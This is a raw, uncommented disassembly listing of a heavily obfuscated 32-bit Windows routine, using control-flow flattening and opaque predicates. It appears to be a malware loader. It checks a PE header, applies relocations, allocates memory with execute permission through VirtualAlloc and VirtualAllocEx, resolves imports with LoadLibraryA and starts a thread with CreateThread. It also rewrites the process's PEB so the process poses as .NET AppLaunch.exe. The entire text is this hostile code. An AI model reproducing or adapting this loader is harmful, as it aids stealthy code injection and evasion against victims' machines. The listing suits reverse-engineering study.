mov edi, dword [ebp - 0x4c074]
mov dword [ebp - 0x4c154], edx
mov dword [ebp - 0x4c150], edi
jmp 0x401810
mov eax, dword [ebp - 0x4c0dc]
inc eax
mov dword [ebp - 0x4c070], eax
mov eax, 0x5c850f09
jmp 0x401810
mov eax, dword [ebp - 0x4c108]
mov eax, dword [eax]
mov dword [ebp - 0x4c10c], eax
mov eax, 0x4fa7d285
jmp 0x401810
mov eax, dword [ebp - 0x4c040]
mov edi, dword [ebp - 0x4c07c]
lea edx, [ebp - 0x4c024]
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0xc]
add ecx, esi
push edx
push dword [ebp - 0x4c180]
push dword [edi + eax*8 + 8]
push ecx
vzeroupper
call fcn.00401620
add esp, 0x10
mov eax, 0x695ee09d
jmp 0x401810
mov eax, dword [0x4b23e8]
mov edi, 0x3d9dca6b
mov ebx, 0xdfb2116
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xdfb2116
jmp 0x4049c5
mov dword [ebp - 0x4c110], esi
mov eax, 0x4edf3265
jmp 0x401810
mov eax, 0x64c1e415
jmp 0x401810
mov eax, dword [0x4b23e8]
mov ebx, 0xbba5ab46
mov edi, 0xa11b0ea4
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xa11b0ea4
jmp 0x4053e6
mov eax, 0xe46d0bd6
jmp 0x401810
mov edx, dword [0x4b23e8]
mov ecx, dword [0x4b23e4]
mov edi, 0x45a66134
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xeca6a0bf
jmp 0x4017f0
mov eax, dword [0x4b23e8]
mov ebx, 0xa94d4d33
mov edi, 0x9b55ce87
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x9b55ce87
jmp 0x4053de
mov eax, 0x391bad18
jmp 0x401810
mov edx, dword [0x4b23e8]
mov ecx, dword [0x4b23e4]
mov edi, 0x93fe3ff9
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xb81dcbd8
jmp 0x40550b
mov dword [ebp - 0x4c058], 0
mov eax, dword [ebp - 0x4c15c]
mov dword [ebp - 0x4c0a0], eax
mov eax, 0xd87fb6d6
jmp 0x401810
mov eax, dword [ebp - 0x4c090]
mov eax, dword [ebp - 0x4c090]
mov eax, dword [ebp - 0x4c090]
mov eax, dword [ebp - 0x4c090]
mov eax, 0x6e5701c0
jmp 0x401810
mov edx, dword [0x4b23e8]
mov ecx, dword [0x4b23e4]
mov edi, 0x4c570ce8
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xb09db61d
jmp 0x4017f0
mov edx, dword [0x4b23e8]
mov ecx, dword [0x4b23e4]
mov edi, 0x3f608b86
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x30594a8
jmp 0x40550b
mov eax, dword [0x4b23e8]
mov edi, 0x30700e96
mov ebx, 0x3394a07c
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x3394a07c
jmp 0x4049c5
mov eax, dword [0x4b23e8]
mov edi, 0xfd014b58
mov ebx, 0xc2dc6b4f
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xc2dc6b4f
jmp 0x4049c5
mov eax, dword [ebp - 0x4c088]
add eax, dword [ebp - 0x4c08c]
push eax
vzeroupper
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
mov dword [ebp - 0x4c094], eax
mov eax, dword [0x4b23e8]
mov edi, 0x72ce74ea
mov ebx, 0x81b83ec2
setne byte [ebp - 0x4c046]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x81b83ec2
jmp 0x4049cd
mov dword [ebp - 0x4c02c], 0xc
mov eax, 0x3bfa51b
jmp 0x401810
mov eax, dword [ebp - 0x4c0a0]
mov ecx, dword [ebp - 0x4c058]
mov eax, dword [eax + ecx*4]
add eax, esi
mov dword [ebp - 0x4c100], eax
mov eax, 0xc26485dd
jmp 0x401810
mov eax, 0xcdfa8ba9
jmp 0x401810
mov eax, dword [ebp - 0x4c070]
mov dword [ebp - 0x4c140], eax
mov eax, 0x332faf58
jmp 0x401810
mov eax, dword [ebp - 0x4c028]
mov dword [ebp - 0x4c068], esi
add eax, 0x78
mov dword [ebp - 0x4c0e0], eax
mov eax, 0xed227105
jmp 0x401810
mov eax, dword [0x4b23e8]
mov ebx, 0xcc20d6b5
mov edi, 0x58d54ff2
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x58d54ff2
jmp 0x4053de
push 4
push 0x3000
push dword [ebp - 0x4c0c4]
push dword [ebp - 0x4c0f8]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
mov eax, dword [0x4b23e8]
cmp dword [ebp - 0x4c01c], 0
mov ebx, 0x7c70142b
mov edi, 0xcdc2b196
lea ecx, [eax + 1]
sete byte [ebp - 0x4c041]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xcdc2b196
jmp 0x4053e6
mov eax, dword [ebp - 0x4c034]
mov dword [ebp - 0x4c06c], eax
mov eax, 0x39038ce
jmp 0x401810
cmp byte [ebp - 0x4c042], 0
mov eax, 0x2153f3ab
mov ecx, 0x97591d52
cmovne eax, ecx
jmp 0x401810
mov eax, 0x7854260d
jmp 0x401810
push dword [ebp - 0x4c064]
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x4c09c]
add eax, eax
mov edi, 0xd7fc701b
mov word [ecx], ax
mov edx, dword [0x4b23e8]
mov ecx, dword [0x4b23e4]
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xf5d8b9ad
jmp 0x4017f0
mov eax, dword [ebp - 0x4c03c]
mov edx, dword [ebp - 0x4c0bc]
mov edi, 0xa76277c7
mov ebx, 0x1fceea2d
movzx eax, word [eax]
mov ecx, eax
xor ecx, 0xfffff000
and ecx, eax
movzx eax, cx
mov ecx, dword [edx + eax]
add ecx, dword [ebp - 0x4c0a8]
mov dword [edx + eax], ecx
mov eax, dword [0x4b23e8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x1fceea2d
jmp 0x4049cd
mov eax, dword [ebp - 0x4c0d8]
mov edi, 0x827ba480
mov ebx, 0xc3627341
movzx eax, word [eax]
not eax
or eax, 0xcfff
cmp ax, 0xffff
mov eax, dword [0x4b23e8]
setne byte [ebp - 0x4c045]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xc3627341
jmp 0x4049cd
mov dword [ebp - 0x4c054], 0x20
mov eax, 0x892620cb
jmp 0x401810
mov eax, 0xddb78f81
jmp 0x401810
mov edx, dword [0x4b23e8]
mov ecx, dword [0x4b23e4]
mov edi, 0x4af57b8e
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x70c51631
jmp 0x4017f0
mov eax, 0x87cd4b07
jmp 0x401810
mov eax, dword [ebp - 0x4c110]
mov ecx, dword [ebp - 0x4c028]
cmp eax, dword [ecx + 0x34]
mov eax, 0x570aca5
setne byte [ebp - 0x4c042]
jmp 0x401810
mov eax, 0x8ce618e7
jmp 0x401810
mov eax, dword [0x4b23e8]
mov edi, 0x8d0a6750
mov ebx, 0xd1ef576
mov dword [ebp - 0x4c02c], 0x10
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xd1ef576
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, edi
cmp dword [0x4b23e4], 0xa
setl dl
cmovge eax, ebx
xor dl, cl
cmovne eax, edi
jmp 0x401810
mov eax, dword [ebp - 0x4c184]
inc eax
mov dword [ebp - 0x4c040], eax
mov eax, 0xe517b84
jmp 0x401810
mov eax, 0x30700e96
jmp 0x401810
mov eax, dword [ebp - 0x4c034]
mov ebx, 0x811ecdd6
mov edi, 0x7216ce4a
and eax, 0x40000000
mov dword [ebp - 0x4c0f0], eax
mov eax, dword [0x4b23e8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x7216ce4a
jmp 0x4053de
mov eax, dword [0x4b23e8]
mov ebx, 0xaa642215
mov edi, 0x995fded7
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0x995fded7
jmp 0x4053de
mov eax, dword [0x4b23e8]
mov edi, 0x5f0d4ad6
mov ebx, 0xf5d8b9ad
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xf5d8b9ad
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, edi
cmp dword [0x4b23e4], 0xa
setl dl
cmovge eax, ebx
xor dl, cl
cmovne eax, edi
jmp 0x401810
mov eax, 0x94b9a38a
jmp 0x401810
mov eax, 0x33c49d87
jmp 0x401810
mov eax, dword [ebp - 0x4c084]
mov eax, dword [ebp - 0x4c028]
mov eax, dword [eax + 0x28]
add eax, esi
mov dword [ebp - 0x4c0f4], eax
mov eax, 0x293c906b
jmp 0x401810
mov eax, dword [ebp - 0x4c070]
mov dword [ebp - 0x4c0dc], eax
mov eax, 0xed699d27
jmp 0x401810
mov eax, dword [ebp - 0x4c164]
mov ecx, dword [ebp - 0x4c160]
mov dword [eax], ecx
mov eax, 0x7d32ad78
jmp 0x401810
mov dword [ebp - 0x4c02c], 0x10
mov eax, 0xf2d1b905
jmp 0x401810
mov eax, dword [ebp - 0x4bfd4]
lea ecx, [ebp - 0x4c010]
cmp dword [eax + ecx], 0x4550
lea edx, [eax + ecx]
mov eax, 0xdec65493
mov ecx, 0x39248077
mov dword [ebp - 0x4c028], edx
cmove eax, ecx
jmp 0x401810
cmp dword [ebp - 0x4c0f0], 0
mov eax, dword [0x4b23e8]
mov edi, 0xed2cfc2a
mov ebx, 0xdaca63ca
lea ecx, [eax + 1]
setne byte [ebp - 0x4c04b]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xdaca63ca
jmp 0x4049cd
mov edx, dword [0x4b23e8]
mov ecx, dword [0x4b23e4]
mov edi, 0x4990c7ca
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xea6d43c2
jmp 0x40550b
mov dword [ebp - 0x4c060], 0
mov eax, 0x6bd69317
jmp 0x401810
cmp byte [ebp - 0x4c04b], 0
mov eax, 0x862fe8fd
mov ecx, 0xa903848
cmovne eax, ecx
jmp 0x401810
mov eax, 0x9afab74f
jmp 0x401810
mov eax, 0xe517b84
jmp 0x401810
mov edx, dword [0x4b23e8]
mov ecx, dword [0x4b23e4]
mov edi, 0x514d03ed
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x81bbf954
jmp 0x40550b
mov eax, dword [ebp - 0x4c0c8]
push 0x40
push 0x3000
push dword [eax + 0x50]
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov eax, dword [0x4b23e8]
mov edi, 0xbe31bc67
mov ebx, 0x995fded7
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x995fded7
jmp 0x4049cd
movzx eax, byte [ebp - 0x4c02d]
mov ecx, dword [ebp - 0x4c038]
mov byte [ecx], al
mov eax, dword [ebp - 0x4c080]
mov eax, dword [ebp - 0x4c038]
mov eax, 0xa752e29c
jmp 0x401810
mov edx, dword [0x4b23e8]
mov ecx, dword [0x4b23e4]
mov edi, 0x5acccdb7
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xf621ba5e
jmp 0x40550b
mov eax, 0x8c995c8
jmp 0x401810
cmp byte [ebp - 0x4c04d], 0
mov eax, 0x3519d390
mov ecx, 0x3a327a84
cmovne eax, ecx
jmp 0x401810
mov dword [ebp - 0x4c130], esi
mov eax, 0x2ada242a
jmp 0x401810
mov eax, 0xd4816e2
jmp 0x401810
mov eax, dword [0x4b23e8]
mov ebx, 0xa752e29c
mov edi, 0xabb38edd
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0xabb38edd
jmp 0x4053de
mov eax, 0xd87fb6d6
jmp 0x401810
mov eax, 0x7f574a4e
jmp 0x401810
mov eax, dword [0x4b23e8]
mov edi, 0xf84e4c99
mov ebx, 0x2dac8380
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x2dac8380
jmp 0x4049cd
mov eax, 0x526004c
jmp 0x401810
mov eax, 0x3b64c73f
jmp 0x401810
cmp byte [ebp - 0x4c045], 0
mov eax, 0xedc54d09
mov ecx, 0x198e27e7
cmovne eax, ecx
jmp 0x401810
mov edx, dword [0x4b23e8]
mov ecx, dword [0x4b23e4]
mov edi, 0x744cbde9
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x43001f05
jmp 0x40550b
cmp byte [ebp - 0x4c047], 0
mov eax, 0xa283aa07
mov ecx, 0x41aec25a
cmovne eax, ecx
jmp 0x401810
mov eax, 0xe8f7ef38
jmp 0x401810
mov eax, dword [ebp - 0x4c158]
mov ecx, 0x31bc4d7f
cmp dword [eax], 0
mov eax, 0x3fc31865
cmove eax, ecx
jmp 0x401810
cmp dword [ebp - 0x4c178], 0
mov eax, 0xa20273be
mov ecx, 0xa04c4974
cmove eax, ecx
jmp 0x401810
mov eax, 0xe7b9984e
jmp 0x401810
mov eax, 0x2153f3ab
jmp 0x401810
mov eax, 0xeea47c2f
jmp 0x401810
mov eax, 0x1dd544e4
jmp 0x401810
mov eax, dword [0x4b23e8]
mov edi, 0x4dd77115
mov ebx, 0x21545771
mov dword [ebp - 0x4c02c], 5
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x21545771
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, edi
cmp dword [0x4b23e4], 0xa
setl dl
cmovge eax, ebx
xor dl, cl
cmovne eax, edi
jmp 0x401810
mov eax, 0x267779b0
jmp 0x401810
mov eax, dword [ebp - 0x4c05c]
mov eax, dword [eax + 4]
add eax, dword [ebp - 0x4c098]
mov dword [ebp - 0x4c14c], eax
mov eax, 0xa50cc656
jmp 0x401810
push 0
push 0
push 0
push dword [ebp - 0x4c0f4]
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x4c084]
mov edi, 0x27c2c30f
mov dword [ecx], eax
mov edx, dword [0x4b23e8]
mov ecx, dword [0x4b23e4]
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x3e1c0620
cmovne edx, edi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, edi
mov edi, dword [ebp - 0x4c038]
cmp ecx, 0xa
cmovge eax, edx
cmp byte [edi], 0
setne byte [ebp - 0x4c050]
jmp 0x401810
mov edx, dword [0x4b23e8]
mov ecx, dword [0x4b23e4]
mov edi, 0x272c464
lea eax, [edx + 1]
jmp 0x405154
mov edx, dword [0x4b23e8]
mov ecx, dword [0x4b23e4]
mov edi, 0x58d54ff2
mov dword [ebp - 0x4c070], 0
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x9f7efc1e
cmovne edi, ebx
test edx, eax
mov eax, edi
cmove eax, ebx
cmp ecx, 0xa
mov ecx, dword [ebp - 0x4c05c]
cmovge eax, edi
mov edx, dword [ecx + 4]
add ecx, 8
mov dword [ebp - 0x4c03c], ecx
add edx, 0xfffffff8
shr edx, 1
mov dword [ebp - 0x4c0b4], edx
jmp 0x401810
mov eax, 0x3d9dca6b
jmp 0x401810
mov eax, 0xe28c7ac5
jmp 0x401810
mov eax, dword [ebp - 0x4c0e4]
mov eax, dword [ebp - 0x4c0e8]
mov eax, 0xc4ea11dc
jmp 0x401810
mov eax, dword [ebp - 0x4c03c]
mov dword [ebp - 0x4c148], eax
mov eax, 0xe7b369a3
jmp 0x401810
mov eax, 0x56d94e68
jmp 0x401810
mov edx, dword [0x4b23e8]
mov ecx, dword [0x4b23e4]
mov edi, 0xd238015f
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xeed16797
cmovne edi, ebx
test edx, eax
mov edx, dword [ebp - 0x4c06c]
mov eax, edi
cmove eax, ebx
cmp ecx, 0xa
cmovge eax, edi
not edx
or edx, 0xdfffffff
cmp edx, 0xffffffff
setne byte [ebp - 0x4c04a]
jmp 0x401810
mov eax, dword [0x4b23e8]
mov ebx, 0x3bcbfdd3
mov edi, 0x21545771
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x21545771
jmp 0x4053e6
mov eax, 0x5fe804b
jmp 0x401810
mov eax, dword [ebp - 0x4c080]
mov ecx, dword [ebp - 0x4c09c]
vmovsd xmm0, qword [ecx]
vmovsd qword [eax], xmm0
mov eax, dword [ebp - 0x4c064]
mov dword [ecx + 4], eax
mov eax, 0xb49173dc
jmp 0x401810
mov dword [ebp - 0x4c02c], 0
mov eax, 0x8ae3f609
jmp 0x401810
mov eax, dword [0x4b23e8]
mov ebx, 0x25ca329
mov edi, 0xc11c8d79
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xc11c8d79
jmp 0x4053e6
mov eax, 0x526004c
jmp 0x401810
mov eax, 0xb412a84b
jmp 0x401810
mov eax, dword [ebp - 0x4c14c]
mov dword [ebp - 0x4c098], eax
mov eax, dword [ebp - 0x4c03c]
mov dword [ebp - 0x4c05c], eax
mov eax, 0xc1e6f22d
jmp 0x401810
mov eax, 0x6728bdd0
jmp 0x401810
mov eax, 0xc789dbf5
jmp 0x401810
mov eax, dword [ebp - 0x4c138]
cmp eax, dword [ebp - 0x4c13c]
mov eax, 0x9e081520
setb byte [ebp - 0x4c044]
jmp 0x401810
mov eax, 0x9afab74f
jmp 0x401810
mov eax, 0x81bbf954
jmp 0x401810
push dword [ebp - 0x4c064]
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x4c09c]
add eax, eax
mov word [ecx], ax
mov eax, 0x5f0d4ad6
jmp 0x401810
mov edx, dword [0x4b23e8]
mov ecx, dword [0x4b23e4]
mov edi, 0x911d04f4
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x51674530
jmp 0x4017f0
mov edx, dword [0x4b23e8]
mov ecx, dword [0x4b23e4]
mov edi, 0x6dbd13ab
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x13648153
jmp 0x4017f0
mov eax, dword [ebp - 0x4c140]
mov ecx, 0x9e59f1f0
cmp eax, dword [ebp - 0x4c144]
mov eax, 0x2ff75995
cmovl eax, ecx
jmp 0x401810
mov edx, dword [0x4b23e8]
mov ecx, dword [0x4b23e4]
mov edi, 0x5a3a9fe3
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x16297841
jmp 0x4017f0
mov eax, 0x3b64c73f
jmp 0x401810
cmp byte [ebp - 0x4c049], 0
mov eax, 0xa04c4974
mov ecx, 0xa80ca886
cmovne eax, ecx
jmp 0x401810
mov eax, dword [ebp - 0x4c060]
mov ecx, dword [ebp - 0x4c074]
mov dword [ebp - 0x4c088], esi
lea eax, [eax + eax*4]
mov eax, dword [ecx + eax*4 + 0xc]
mov dword [ebp - 0x4c08c], eax
mov eax, 0x110c8c93
jmp 0x401810
mov eax, 0x4f6c4306
jmp 0x401810
mov eax, dword fs:[0x30]
vmovups ymm0, ymmword [0x4a5270]
vmovups ymm1, ymmword [0x4a5258]
vmovups ymm2, ymmword [0x4a5238]
mov ecx, dword [eax + 0xc]
mov ecx, dword [ecx + 0x14]
mov dword [eax + 8], esi
mov dword [ecx + 0x10], esi
add ecx, 0x1c
mov dword [ebp - 0x4c09c], ecx
mov eax, dword [ebp - 0x4c064]
mov eax, dword [ebp - 0x4c064]
vmovups ymmword [eax + 0x58], ymm0
vmovups ymmword [eax + 0x40], ymm1
vmovups ymm1, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
vmovups ymmword [eax + 0x20], ymm2
vmovups ymmword [eax], ymm1
mov eax, dword [ebp - 0x4c038]
mov eax, dword [ebp - 0x4c028]
cmp dword [eax + 0xe8], 0
mov eax, 0x1d546061
setne byte [ebp - 0x4c02d]
jmp 0x401810
mov eax, 0xf71e9a61
jmp 0x401810
movzx eax, word [ebp - 0x4c0aa]
mov ecx, dword [ebp - 0x4c118]
cmp ecx, eax
mov eax, 0xee88a3da
setl byte [ebp - 0x4c043]
jmp 0x401810
mov eax, dword [ebp - 0x4c06c]
mov eax, dword [ebp - 0x4c06c]
mov eax, dword [ebp - 0x4c06c]
mov eax, dword [ebp - 0x4c06c]
mov eax, dword [ebp - 0x4c06c]
mov eax, 0xad2f435d
jmp 0x401810
mov eax, 0x6dbd13ab
jmp 0x401810
mov eax, dword [ebp - 0x4c128]
mov eax, dword [eax + 0x14]
add eax, dword [ebp - 0x4c124]
mov ecx, dword [ebp - 0x4c078]
mov edx, dword [ebp - 0x4c07c]
lea ecx, [ecx + ecx*4]
push dword [edx + ecx*8 + 0x10]
push eax
push dword [ebp - 0x4c120]
vzeroupper
call fcn.0043d600
add esp, 0xc
mov eax, 0xee8ea123
jmp 0x401810
mov eax, 0x524212c1
jmp 0x401810
mov eax, 0x3d96e8ef
jmp 0x401810
mov dword [ebp - 0x4c02c], 0xa
mov eax, 0xdf214abe
jmp 0x401810
mov eax, dword [ebp - 0x4c16c]
mov dword [ebp - 0x4c060], eax
mov eax, 0x6bd69317
jmp 0x401810
mov edx, dword [0x4b23e8]
mov ecx, dword [0x4b23e4]
mov edi, 0xe0acb874
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x7539b514
cmovne edx, edi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, edi
mov edi, dword [ebp - 0x4c090]
cmp ecx, 0xa
cmovge eax, edx
mov edx, edi
xor edx, 0xbfffffff
test edx, edi
setne byte [ebp - 0x4c04e]
jmp 0x401810
mov eax, dword [0x4b23e8]
mov edi, 0x8ff1728c
mov ebx, 0x66f00215
mov dword [ebp - 0x4c040], 0
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x66f00215
sete cl
cmove eax, edi
cmp dword [0x4b23e4], 0xa
setl dl
cmovge eax, ebx
xor dl, cl
cmovne eax, edi
jmp 0x401810
mov eax, dword [0x4b23e8]
mov ebx, 0xf2d1b905
mov edi, 0xd1ef576
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xd1ef576
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, ebx
cmp dword [0x4b23e4], 0xa
setl dl
cmovge eax, edi
xor dl, cl
cmovne eax, ebx
jmp 0x401810
mov edx, dword [0x4b23e8]
mov ecx, dword [0x4b23e4]
mov edi, 0xdbad3edd
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x38dd4e4f
jmp 0x40550b
mov eax, dword [ebp - 0x4c078]
mov edx, dword [ebp - 0x4c07c]
lea eax, [eax + eax*4]
lea ecx, [edx + eax*8]
mov eax, dword [edx + eax*8 + 0xc]
add eax, dword [ebp - 0x4c11c]
mov dword [ebp - 0x4c128], ecx
mov dword [ebp - 0x4c120], eax
lea eax, [ebp - 0x4c010]
mov dword [ebp - 0x4c124], eax
mov eax, 0x93631ea9
jmp 0x401810
mov eax, 0x4e9700d7
jmp 0x401810
mov dword [ebp - 0x4c054], 0x40
mov eax, 0x1b6aff9d
jmp 0x401810
mov eax, 0xfb9fc99b
jmp 0x401810
cmp byte [ebp - 0x4c044], 0
mov eax, 0x6b2a6a66
mov ecx, 0xd6ec2616
cmovne eax, ecx
jmp 0x401810
mov eax, 0x38dd4e4f
jmp 0x401810
mov eax, 0xa94d4d33
jmp 0x401810
mov dword [ebp - 0x4c054], 2
mov eax, 0x4424808d
jmp 0x401810
mov edx, dword [0x4b23e8]
mov ecx, dword [0x4b23e4]
mov edi, 0xa9926504
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xfdc9a0ee
cmovne edi, ebx
test edx, eax
mov eax, edi
cmove eax, ebx
cmp ecx, 0xa
cmovge eax, edi
jmp 0x401810
mov eax, dword [ebp - 0x4c028]
mov ebx, 0xf8a23847
mov edi, 0xb6307825
add eax, 6
mov dword [ebp - 0x4c174], eax
mov eax, dword [0x4b23e8]
lea ecx, [eax - 1]
imul eax, ecx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
mov eax, 0xb6307825
sete cl
cmove eax, ebx
cmp dword [0x4b23e4], 0xa
setl dl
cmovge eax, edi
xor dl, cl
mov edx, dword [ebp - 0x4c040]
cmovne eax, ebx
mov dword [ebp - 0x4c170], edx
jmp 0x401810
cmp eax, 0xbe60067c
jne 0x401810
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
vzeroupper
call fcn.0043a770
mov eax, dword [ebp - 0x4c0b0]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret